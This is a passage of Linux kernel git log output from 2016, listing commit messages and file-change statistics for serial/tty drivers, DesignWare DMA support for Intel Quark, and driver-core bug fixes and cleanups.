drivers/tty/serial/8250/Kconfig | 1 + 3 files changed, 13 insertions(+), 14 deletions(-) commit a13e19cf3dc1080cf8a3a174cefd9199610faed7 Author: Andy Shevchenko Date: Wed Aug 17 19:20:27 2016 +0300 serial: 8250_lpss: split LPSS driver to separate module The SoCs, such as Intel Braswell, have DesignWare UART IP. Split out the support of such chips to a separate module which also will be used for Intel Quark later. The rationale to have the separate driver to be existing: - Do not contaminate 8250_pci.c anymore with LPSS related quirks - All of them are using same DMA engine and they are Designware IP which means that in the future we might share the code between 8250_dw.c and 8250_lpss.c - It reduces the kernel memory footprint on non-X86 machines where 8250_pci.c is in use Besides the split the driver also has been refactored, in particular a) the DMA and port setup are separate functions, b) the two new structures lpss8250 and lpss8250_board are introduced to keep necessary data instead of pciserial_board, c) DMA parameters are passed to the DMA setup via mentioned custom structure. Most of the changes are done due to the future support of UART DMA on Intel Quark. The Intel Quark UART DMA support is based on bits taking from BSP code published by Intel earlier. The driver does not use any specific power management. PCI core takes care of the default behaviour during suspend and resume. Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_lpss.c | 280 ++++++++++++++++++++++++++++++++++++ drivers/tty/serial/8250/8250_pci.c | 242 ++----------------------------- drivers/tty/serial/8250/Kconfig | 15 +- drivers/tty/serial/8250/Makefile | 1 + 4 files changed, 303 insertions(+), 235 deletions(-) commit 68af490b03b40cc31b2cd47899661d87ab9f127d Author: Andy Shevchenko Date: Wed Aug 17 19:20:26 2016 +0300 serial: 8250: enable AFE on ports where FIFO is 16 bytes Intel Quark has 16550A compatible UART with autoflow feature enabled. It has only 16 bytes of FIFO. Currently serial8250_do_set_termios() prevents to enable autoflow since the minimum requirement of 32 bytes of FIFO size. Drop a FIFO size limitation to allow autoflow control be enabled on such UARTs. While here, comment out UART_CAP_AFE for PORT_AR7 since it wasn't working and it will be not a good idea to use it in conjunction with trigger level of 1 byte. Suggested-by: Peter Hurley Reviewed-by: Peter Hurley Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit d1834babe42246bf0bd0989b8bb19c9807851527 Author: Andy Shevchenko Date: Wed Aug 17 19:20:25 2016 +0300 serial: 8250_dma: adjust DMA address of the UART Some UARTs, e.g. one is used in Intel Quark, have a different address base for DMA operations. Introduce an additional field (per RX and TX DMA channels) in struct uart_8250_dma to cover those cases. Reviewed-by: Heikki Krogerus Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250.h | 5 +++++ drivers/tty/serial/8250/8250_dma.c | 8 ++++++-- 2 files changed, 11 insertions(+), 2 deletions(-) commit 8d17047207d52182ccd55b9529e1c8cc062c07c2 Author: Andy Shevchenko Date: Wed Aug 17 19:20:24 2016 +0300 serial: 8250_dma: switch to new dmaengine_terminate_* API Convert dmaengine_terminate_all() calls to synchronous and asynchronous versions where appropriate. Reviewed-by: Peter Hurley Reviewed-by: Heikki Krogerus Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_dma.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 19d82910c07173872bd2869f0077e290a7a466a6 Author: Andy Shevchenko Date: Wed Aug 17 19:20:23 2016 +0300 dmaengine: dw: provide probe(), remove() stubs for users Some users consider DMA optional, thus when driver is not compiled we shouldn't prevent compilation of the users. Add stubs for dw_dma_probe() and dw_dma_remove(). Acked-by: Vinod Koul Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman include/linux/dma/dw.h | 5 +++++ 1 file changed, 5 insertions(+) commit 5fb23e35cacffb7b99ed5b97a002ddb8c9144bb6 Author: Andy Shevchenko Date: Wed Aug 17 19:20:22 2016 +0300 dmaengine: dw: override LLP support if asked in platform data There are at least two known devices, e.g. DMA controller found on ARC AXS101 SDP board, that have LLP register and no multi block transfer support at the same time. Override autodetection by user provided data. Reported-by: Eugeniy Paltsev Reviewed-by: Eugeniy Paltsev Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/dma/dw/core.c | 6 +----- include/linux/platform_data/dma-dw.h | 2 ++ 2 files changed, 3 insertions(+), 5 deletions(-) commit c072e113b8fbd6b2bf325e92379a0da6dea619b3 Author: Andy Shevchenko Date: Wed Aug 17 19:20:21 2016 +0300 dmaengine: dw: set polarity of handshake interface Intel Quark UART uses DesignWare DMA IP. Though the DMA IP is connected in such way that handshake interface uses inverted polarity. We have to provide a possibility to set this in the DMA driver when configuring a channel. Introduce a new member of custom slave configuration called 'hs_polarity' and set active low polarity in case this value is 'true'. Acked-by: Vinod Koul Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/dma/dw/core.c | 4 ++++ include/linux/platform_data/dma-dw.h | 2 ++ 2 files changed, 6 insertions(+) commit 9217a5bf66061c392e461255c5d9d41aac136e58 Author: Andy Shevchenko Date: Wed Aug 17 19:20:20 2016 +0300 dmaengine: dw: keep copy of custom slave config in dwc It seems we need to extend custom slave configuration by one more member to support Intel Quart UART. It becomes a burden to manage all members of struct dw_dma_slave one-by-one. Replace the set of fields by embedding struct dw_dma_slave into struct dw_dma_chan. Acked-by: Vinod Koul Signed-off-by: Andy Shevchenko Tested-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/dma/dw/core.c | 29 ++++++++++------------------- drivers/dma/dw/regs.h | 5 +---- 2 files changed, 11 insertions(+), 23 deletions(-) commit 43c51bb573aab63cd67ad7216dc0b849036bc47a Author: Florian Vallee Date: Tue Jul 19 16:29:36 2016 +0200 sc16is7xx: make sure device is in suspend once probed Previously sc16is7xx_power was called in order to set the device to a low power mode. However since SC16IS7XX_EFR_ENABLE_BIT was not set beforehand this suspend request had not effect. Also, soft-reset the device prior to port initialization. It may otherwise be in a state (interrupt pending, fifo not empty) which prevents it from sleeping. Signed-off-by: Florian Vallee Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/sc16is7xx.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 81bb549fdf144582f57d1df65a2517beb418dc8b Author: Eddie Huang Date: Fri Aug 12 10:41:11 2016 +0800 serial: 8250_mtk: support big baud rate. mediatek can support baud rate up to 4M. the 'uart_get_baud_rate' function will limit the max baud rate. Modify max baud to remove the limit. Signed-off-by: Long Cheng Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_mtk.c | 6 +----- drivers/tty/serial/8250/8250_port.c | 4 +--- 2 files changed, 2 insertions(+), 8 deletions(-) commit 490d5ce2d0130540f2003c2d01c921fe0917607d Author: Julia Lawall Date: Fri Aug 5 10:56:45 2016 +0200 tty/serial: at91: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2; statement S2,S1; @@ - if (of_get_property(e1,e2,NULL)) + if (of_property_read_bool(e1,e2)) S1 else S2 // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 03895cf41d1890a219679490428c8bf10b17e2b9 Author: Bhuvanchandra DV Date: Tue Jul 19 13:13:10 2016 +0530 tty: serial: fsl_lpuart: Add support for RS-485 Enable Vybrid's build-in support for RS-485 auto RTS for controlling line direction of RS-485 transceiver driver. Enable RS485 feature by either using ioctrl 'TIOCSRS485' or enable it in the device tree by setting 'linux,rs485-enabled-at-boot-time' property. Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 78 +++++++++++++++++++++++++++++++++++++---- 1 file changed, 72 insertions(+), 6 deletions(-) commit c05efd692f1f2c2ba637356613bab6e2dfba2507 Author: Bhuvanchandra DV Date: Tue Jul 19 13:13:09 2016 +0530 tty: serial: fsl_lpuart: Update suspend/resume for DMA mode When DMA mode is enabled one need to make sure the DMA channels are idle before entering suspend mode especially when UART ports which are set as wakeup source and console port with no_console_suspend is set. This patch takes care of gracefully releasing DMA channels for the above two cases and start the DMA at resume. Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 44 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit 6250cc30c4c4e25393ba247f71bdc04b6af3191b Author: Bhuvanchandra DV Date: Tue Jul 19 13:13:08 2016 +0530 tty: serial: fsl_lpuart: Use scatter/gather DMA for Tx Drop PIO to DMA switching and use scatter/gather DMA for Tx path to improve performance. Some part of the code is borrowed from imx serial driver. Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 257 ++++++++++++++++++---------------------- 1 file changed, 113 insertions(+), 144 deletions(-) commit 5887ad43ee02a00f17a6132b7fb256dc6865474c Author: Bhuvanchandra DV Date: Tue Jul 19 13:13:07 2016 +0530 tty: serial: fsl_lpuart: Use cyclic DMA for Rx The initial approach of DMA implementatin for RX is inefficient due to switching from PIO to DMA, this leads to overruns especially on instances with the smaller FIFO. To address these issues this patch uses a cyclic DMA for receiver path. Some part of the code is borrowed from atmel serial driver. Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 483 +++++++++++++++++++++------------------- 1 file changed, 258 insertions(+), 225 deletions(-) commit aa9e7d78039e34ac0f56b370e21ac719482823ee Author: Bhuvanchandra DV Date: Tue Jul 19 13:13:06 2016 +0530 tty: serial: fsl_lpuart: Fix broken 8m/s1 support By default the driver always configure the mode as 8s1 even when 8m1 mode is selected. Fix this by adding support to control the space/mark bit. Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit d68827c62a105eec547945daedf4d1d3e283717d Author: Stefan Agner Date: Tue Jul 19 13:13:05 2016 +0530 tty: serial: fsl_lpuart: fix clearing of receive flag Commit 8e4934c6d6c6 ("tty: serial: fsl_lpuart: clear receive flag on FIFO flush") implemented clearing of the receive flag by reading the status register only. It turned out that even though we flush the FIFO afterwards, a explicit read of the data register is still required. This leads to a FIFO underrun. To avoid this, follow the advice in the overrun "Operation section": Unconditionally clear RXUF after using RXFLUSH. Signed-off-by: Stefan Agner Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit d6b0d2f243fef6cb87f5338bf06c2330175f106f Author: Stefan Agner Date: Tue Jul 19 13:13:04 2016 +0530 tty: serial: fsl_lpuart: support suspend/resume Add suspend/resume support. Signed-off-by: Stefan Agner Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) commit b70b636186de5329a5a8e9e9a254b8d690d8575b Author: Stefan Agner Date: Tue Jul 19 13:13:03 2016 +0530 tty: serial: fsl_lpuart: consider TX FIFO too in tx_empty Currently the tx_empty callback only considers the Transmit Complete Flag (TC). The reference manual is not quite clear if the TC flag covers the TX FIFO too. Debug prints on real hardware have shown that from time to time the TC flag is asserted (indicating Transmitter idle) while there are still data in the TX FIFO. Hence, in this case the serial core will call the shutdown callback even though there are data remaining in the TX FIFO buffers. Avoid early shutdowns by considering the TX FIFO empty flag too. Also avoid theoretical race conditions between DMA and the driver by checking whether the TX DMA is in progress too. Signed-off-by: Stefan Agner Signed-off-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 7789e5a2accdbc5d506405c11ef4e5469440e96b Author: Zubair Lutfullah Kakakhel Date: Fri Aug 12 12:48:54 2016 +0100 serial: pch_uart: Add support for reading clock-frequency from DT The MIPS based Boston platform provides a 25MHz clock to the UART. Enable the driver for MIPS and add support in the driver to read the frequency from device tree. Signed-off-by: Zubair Lutfullah Kakakhel Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/Kconfig | 2 +- drivers/tty/serial/pch_uart.c | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) commit bed3d7babafda16cf2e095366dec3f64143b370a Author: Zubair Lutfullah Kakakhel Date: Fri Aug 12 12:48:53 2016 +0100 misc: pch_phub: Add UART_CLK quirk for Boston platform The EG20T has 4 UART blocks. The clock source for the UART block is configured to receive a clock from an external pin by default. An internal 25MHz clock in the EG20T can also be used as a clock source for the clock. The MIPS based Boston platform ties the external clock pin down and relies on the internal clock source for the UART to function. Boston is based on device tree. Add a quirk to allow Boston to be detected via device tree and set the correct clock source for UART. Signed-off-by: Zubair Lutfullah Kakakhel Signed-off-by: Greg Kroah-Hartman drivers/misc/pch_phub.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 549ce8f134bd95a1d4bf1a62215a62f1e9408a96 Author: Zubair Lutfullah Kakakhel Date: Fri Aug 12 12:48:52 2016 +0100 misc: pch_phub: Read prefetch value from device tree if passed The default prefetch value for the eg20t device is hard coded to 0x000affaa. Add support for an alternative to be read from DT if available Signed-off-by: Zubair Lutfullah Kakakhel Signed-off-by: Greg Kroah-Hartman drivers/misc/pch_phub.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit e16b46f190a22587898b331f9d58583b0b166c9a Author: Kefeng Wang Date: Wed Aug 24 16:33:33 2016 +0800 serial: 8250_dw: Check the data->pclk when get apb_pclk It should check the data->pclk, not data->clk when get apb_pclk. Fixes: c8ed99d4f6a8("serial: 8250_dw: Add support for deferred probing") Signed-off-by: Kefeng Wang Tested-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_dw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b1221a36ca53dca5992caf6b37f67c98bb4e431 Author: Christophe JAILLET Date: Wed Aug 24 07:06:58 2016 +0200 serial: vt8500_serial: Fix a parameter of find_first_zero_bit. The 2nd parameter of 'find_first_zero_bit' is the number of bits to search. In this case, we are passing 'sizeof(vt8500_ports_in_use)'. 'vt8500_ports_in_use' is an 'unsigned long'. So the sizeof is likely to return 4 on a 32 bits kernel. A few lines below, we check if it is below VT8500_MAX_PORTS, which is 6. It is likely that the number of bits in a long was expected here. In order to fix it: - use DECLARE_BITMAP when declaring the vt8500_ports_in_use - use VT8500_MAX_PORTS as a maximum value when checking/setting bits in this bitmap - modify code now that 'vt8500_ports_in_use' has become a pointer because of the use of DECLARE_BITMAP It has been spotted by the following coccinelle script: @@ expression ret, x; @@ * ret = \(find_first_bit \| find_first_zero_bit\) (x, sizeof(...)); Signed-off-by: Christophe JAILLET Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/vt8500_serial.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 761ed4a94582ab291aa24dcbea4e01e8936488c8 Author: Rob Herring Date: Mon Aug 22 17:39:10 2016 -0500 tty: serial_core: convert uart_close to use tty_port_close tty_port_close handles much of the common parts of tty close. Convert uart_close to use it and move the serial_core specific parts into tty_port.shutdown function. This will be needed to use tty_port functions directly from in kernel clients. This change causes ops->stop_rx() to be called after uart_wait_until_sent() is called which I think should be fine. Otherwise, the sequence of the close should be the same. Cc: Peter Hurley Signed-off-by: Rob Herring Acked-by: Alan Cox Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 56 ++++++++++++++-------------------------- 1 file changed, 19 insertions(+), 37 deletions(-) commit b3b57646186400d4f54652ab7bbf55f5764d9467 Author: Rob Herring Date: Mon Aug 22 17:39:09 2016 -0500 tty: serial_core: convert uart_open to use tty_port_open tty_port_open handles much of the common parts of tty opening. Convert uart_open to use it and move the serial_core specific parts into tty_port.activate function. This will be needed to use tty_port functions directly from in kernel clients. The tricky part is uart_port_startup can return positive values to allow setserial to configure the port. We now return the positive value to tty_port_open so that the tty is not marked as initialized and then set the return value in uart_open to 0. Cc: Peter Hurley Signed-off-by: Rob Herring Acked-by: Alan Cox Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 70 +++++++++++++--------------------------- 1 file changed, 23 insertions(+), 47 deletions(-) commit ebaa81c7287edd40dd4899e5d93a20e7a2b938e7 Author: Krzysztof Kozlowski Date: Mon Jun 27 13:59:08 2016 +0200 serial: samsung: Register cpufreq notifier only on S3C24xx The Samsung serial driver registered for CPU frequency transitions to recalculate its clock when ARM clock frequency changes. This is needed only on S3C24xx platform so limit the ifdef to respective cpufreq driver. On S3C24xx the ratio ratio between frequencies of UART's parent clock (pclk) and ARM's parent clock (fclk) remains fixed. Therefore when ARM clock frequency goes down, the serial is also affected. Suggested-by: Marek Szyprowski Signed-off-by: Krzysztof Kozlowski Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/samsung.c | 2 +- drivers/tty/serial/samsung.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 5bf5635ac1705b8d58fdef5ff0666ef0e72b4629 Author: Ludovic Desroches Date: Thu Aug 25 15:47:56 2016 +0200 tty/serial: atmel: add fractional baud rate support The USART device provides a fractional baud rate generator to get a more accurate baud rate. It can be used only when the USART is configured in 'normal mode' and this feature is not available on AT91RM9200 SoC. Signed-off-by: Ludovic Desroches Acked-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 41 +++++++++++++++++++++++++++++++-------- include/linux/atmel_serial.h | 1 + 2 files changed, 34 insertions(+), 8 deletions(-) commit 2426fbc77faef57c80a573303af6543531e2efa3 Author: Shawn Guo Date: Fri Jul 8 17:00:41 2016 +0800 tty: amba-pl011: probe ZTE device from AMBA bus with a pseudo-ID There is no Peripheral Identification Registers on ZTE PL011 device, so although the driver amba-pl011 is ready to work for ZTE device, the device cannot be probed by the driver at all. With arm,primecell-periphid DT bindings (bindings/arm/primecell.txt) in place, it should be the cleanest the way to use a pseudo-ID to probe the device from AMBA bus. We create an unofficial vendor number AMBA_VENDOR_LINUX, which will practically never become an official vendor ID, and takes Configuration, Revision number, and Part number as input to compose a pseudo-ID for ZTE device. Also, since we start using vendor_zte to probe ZTE device, the __maybe_unused for vendor_zte is removed. Signed-off-by: Russell King Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 7 ++++++- include/linux/amba/bus.h | 6 ++++++ 2 files changed, 12 insertions(+), 1 deletion(-) commit 9c267ddb41a6108761c82bf7444ea5e6eacc8222 Author: Shawn Guo Date: Fri Jul 8 17:00:40 2016 +0800 tty: amba-pl011: add .get_fifosize for ZTE device ZTE PL011 device has a fixed FIFO size 16. Let's add a .get_fifosize hook for it. Signed-off-by: Shawn Guo Acked-by: Russell King Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 0e125a5facf857567f8bb6dbb1ceefac14b2fa64 Author: Shawn Guo Date: Fri Jul 8 17:00:39 2016 +0800 tty: amba-pl011: define flag register bits for ZTE device For some reason we do not really understand, ZTE hardware designers choose to define PL011 Flag Register bit positions differently from standard ones as below. Bit Standard ZTE ----------------------------------- CTS 0 1 DSR 1 3 BUSY 3 8 RI 8 0 Let's define these bits into vendor data and get ZTE PL011 supported properly. Signed-off-by: Shawn Guo Acked-by: Russell King Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 45 ++++++++++++++++++++++++++++++++--------- include/linux/amba/serial.h | 9 +++++++++ 2 files changed, 44 insertions(+), 10 deletions(-) commit aeb83d7054de0180c4f4b8df7d5c75cc60277558 Author: Baoyou Xie Date: Sun Aug 28 01:31:28 2016 +0800 fix:memory:of_memory:add missing header dependencies We get 2 warnings when biuld kernel with W=1: drivers/memory/of_memory.c:30:30: warning: no previous prototype for 'of_get_min_tck' [-Wmissing-prototypes] drivers/memory/of_memory.c:106:30: warning: no previous prototype for 'of_get_ddr_timings' [-Wmissing-prototypes] In fact, these functions are declared in drivers/memory/of_memory.h so this patch add missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/memory/of_memory.c | 1 + 1 file changed, 1 insertion(+) commit 148a1bc84398039e2b96ff78678c4d9a67f81452 Author: Robin Murphy Date: Wed Jun 1 19:21:42 2016 +0100 drivers: char: mem: Check {read,write}_kmem() addresses Arriving at read_kmem() with an offset representing a bogus kernel address (e.g. 0 from a simple "cat /dev/kmem") leads to copy_to_user faulting on the kernel-side read. x86_64 happens to get away with this since the optimised implementation uses "rep movs*", thus the user write (which is allowed to fault) and the kernel read are the same instruction, the kernel-side fault falls into the user-side fixup handler and the chain of events which transpires ends up returning an error as one might expect, even if it's an inappropriate -EFAULT. On other architectures, though, the read is not covered by the fixup entry for the write, and we get a big scary "Unable to hande kernel paging request..." dump. The more typical use-case of mmap_kmem() has always (within living memory at least) returned -EIO for addresses which don't satisfy pfn_valid(), so let's make that consistent across {read,write}_kem() too. Reported-by: Kefeng Wang Signed-off-by: Robin Murphy Signed-off-by: Greg Kroah-Hartman drivers/char/mem.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 775115c06091fcfa1189a50aca488fa596839617 Author: Vyacheslav V. Yurkov Date: Tue Jun 14 09:58:37 2016 +0200 drivers/base dmam_declare_coherent_memory leaks dmam_declare_coherent_memory doesn't take into account the return value of dma_declare_coherent_memory, which leads to incorrect resource handling Signed-off-by: Vyacheslav V. Yurkov Signed-off-by: Greg Kroah-Hartman drivers/base/dma-mapping.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit e330b9a6bb35dc7097a4f02cb1ae7b6f96df92af Author: Sergei Shtylyov Date: Mon Jul 4 01:04:24 2016 +0300 platform: don't return 0 from platform_get_irq[_byname]() on error of_irq_get[_byname]() return 0 iff irq_create_of_mapping() call fails. Returning both error code and 0 on failure is a sign of a misdesigned API, it makes the failure check unnecessarily complex and error prone. We should rely on the platform IRQ resource in this case, not return 0, especially as 0 can be a valid IRQ resource too... Fixes: aff008ad813c ("platform_get_irq: Revert to platform_get_resource if of_irq_get fails") Signed-off-by: Sergei Shtylyov CC: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman drivers/base/platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 59fffa34069d80662b41438b11130771b4e2a897 Author: Alex Shi Date: Thu Aug 25 16:42:39 2016 +0800 cpu: clean up register_cpu func This patch could reduce one branch in this function. Also make the code more readble. Signed-off-by: Alex Shi Acked-by: Daniel Lezcano To: linux-kernel@vger.kernel.org To: Greg Kroah-Hartman Cc: linux-pm@vger.kernel.org Cc: Ulf Hansson Cc: Daniel Lezcano Signed-off-by: Greg Kroah-Hartman drivers/base/cpu.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 95da00e35acf92bb5d39f6f08267de0c1a5c8885 Author: Muhammad Falak R Wani Date: Sat May 21 18:52:22 2016 +0530 dma-mapping: use vma_pages(). Replace explicit computation of vma page count by a call to vma_pages() Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/base/dma-mapping.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e688f144305c678fb65138d9e6b6ce436e59778b Author: Muhammad Falak R Wani Date: Sat May 21 18:52:57 2016 +0530 drivers: dma-coherent: use vma_pages(). Replace explicit computation of vma page count by a call to vma_pages() Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/base/dma-coherent.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 03aca7b260ea2aadf92596d2f57160e4aee8ffb0 Author: Xiubo Li Date: Wed Jun 1 09:18:40 2016 +0800 attribute_container: Fix typo The 't' in "function" was missing, this patch fixes this typo: s/funcion/function/g Signed-off-by: Xiubo Li Signed-off-by: Greg Kroah-Hartman drivers/base/attribute_container.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 426bc8e789f8ac84270b196191904d347586032f Author: Paul Gortmaker Date: Sun Jul 3 14:22:51 2016 -0400 base: soc: make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/base/Kconfig:config SOC_BUS drivers/base/Kconfig: bool ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since module_init was not in use by this code, the init ordering remains unchanged with this commit. Cc: Lee Jones Cc: Greg Kroah-Hartman Signed-off-by: Paul Gortmaker Signed-off-by: Greg Kroah-Hartman drivers/base/soc.c | 9 --------- 1 file changed, 9 deletions(-) commit 85714108e673cdebf1b96abfd50fb02a29e37577 Author: Peng Fan Date: Thu Jul 21 16:04:21 2016 +0800 drivers: base: dma-mapping: page align the size when unmap_kernel_range When dma_common_free_remap, the input parameter 'size' may not be page aligned. And, met kernel warning when doing iommu dma for usb on i.MX8 platform: " WARNING: CPU: 0 PID: 869 at mm/vmalloc.c:70 vunmap_page_range+0x1cc/0x1d0() Modules linked in: CPU: 0 PID: 869 Comm: kworker/u8:2 Not tainted 4.1.12-00444-gc5f9d1d-dirty #147 Hardware name: Freescale i.MX8DV Sabreauto (DT) Workqueue: ci_otg ci_otg_work Call trace: [] dump_backtrace+0x0/0x124 [] show_stack+0x10/0x1c [] dump_stack+0x84/0xc8 [] warn_slowpath_common+0x98/0xd0 [] warn_slowpath_null+0x14/0x20 [] vunmap_page_range+0x1c8/0x1d0 [] unmap_kernel_range+0x20/0x88 [] dma_common_free_remap+0x74/0x84 [] __iommu_free_attrs+0x9c/0x178 [] ehci_mem_cleanup+0x140/0x194 [] ehci_stop+0x8c/0xdc [] usb_remove_hcd+0xf0/0x1cc [] host_stop+0x1c/0x58 [] ci_otg_work+0xdc/0x120 [] process_one_work+0x134/0x33c [] worker_thread+0x13c/0x47c [] kthread+0xd8/0xf0 " For dma_common_pages_remap: dma_common_pages_remap |->get_vm_area_caller |->__get_vm_area_node |->size = PAGE_ALIGN(size); Round up to page aligned So, in dma_common_free_remap, we also need a page aligned size, pass 'PAGE_ALIGN(size)' to unmap_kernel_range. Signed-off-by: Peng Fan Cc: Greg Kroah-Hartman Cc: Signed-off-by: Greg Kroah-Hartman drivers/base/dma-mapping.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c90aab9c96c2a7f7bf3f7a54167dc5c0ba2b178c Author: Jerome Marchand Date: Mon Jul 25 16:13:32 2016 +0200 platform driver: fix use-after-free in platform_device_del() In platform_device_del(), the device is still used after a call to device_del(). At this point there is no guarantee that the device is still there and there could be a use-after-free access. Move the call to device_remove_properties() before device_del() to fix that. Signed-off-by: Jerome Marchand Signed-off-by: Greg Kroah-Hartman drivers/base/platform.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit bea5b158ff0da9c7246ff391f754f5f38e34577a Author: Rob Herring Date: Thu Aug 11 10:20:58 2016 -0500 driver core: add test of driver remove calls during probe In recent discussions on ksummit-discuss[1], it was suggested to do a sequence of probe, remove, probe for testing driver remove paths. This adds a kconfig option for said test. [1] https://lists.linuxfoundation.org/pipermail/ksummit-discuss/2016-August/003459.html Suggested-by: Arnd Bergmann Cc: Greg Kroah-Hartman Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/base/Kconfig | 10 ++++++++++ drivers/base/dd.c | 21 +++++++++++++++++++++ 2 files changed, 31 insertions(+) commit cebf8fd16900fdfd58c0028617944f808f97fe50 Author: Ming Lei Date: Sun Jul 10 19:27:36 2016 +0800 driver core: fix race between creating/querying glue dir and its cleanup The global mutex of 'gdp_mutex' is used to serialize creating/querying glue dir and its cleanup. Turns out it isn't a perfect way because part(kobj_kset_leave()) of the actual cleanup action() is done inside the release handler of the glue dir kobject. That means gdp_mutex has to be held before releasing the last reference count of the glue dir kobject. This patch moves glue dir's cleanup after kobject_del() in device_del() for avoiding the race. Cc: Yijing Wang Reported-by: Chandra Sekhar Lingutla Signed-off-by: Ming Lei Signed-off-by: Greg Kroah-Hartman drivers/base/core.c | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) commit 24ef5f360f22e4408cb49d75755d27d5a21820f7 Author: Nicolai Stange Date: Tue May 24 13:08:52 2016 +0200 debugfs: remove extra debugfs_create_file_unsafe() declaration debugfs_create_file_unsafe() is declared twice in exactly the same manner each: once in fs/debugfs/internal.h and once in include/linux/debugfs.h All files that include the former also include the latter and thus, the declaration in fs/debugfs/internal.h is superfluous. Remove it. Signed-off-by: Nicolai Stange Signed-off-by: Greg Kroah-Hartman fs/debugfs/internal.h | 4 ---- 1 file changed, 4 deletions(-) commit 5d2fd5c79e169547fcd4bf363f96cc544fd3489e Author: Wadim Egorov Date: Mon Aug 29 13:08:01 2016 +0200 rtc: Kconfig: Name RK818 in Kconfig for RTC_DRV_RK808 The RK808 and RK818 PMICs are using a similar register map. We can reuse the rtc driver for the RK818 PMIC. So let's add the RK818 in the Kconfig description. Signed-off-by: Wadim Egorov Acked-by: Alexandre Belloni Signed-off-by: Lee Jones drivers/rtc/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 71557e50583373ced165d4b3822f8d0a2490fee1 Author: Wadim Egorov Date: 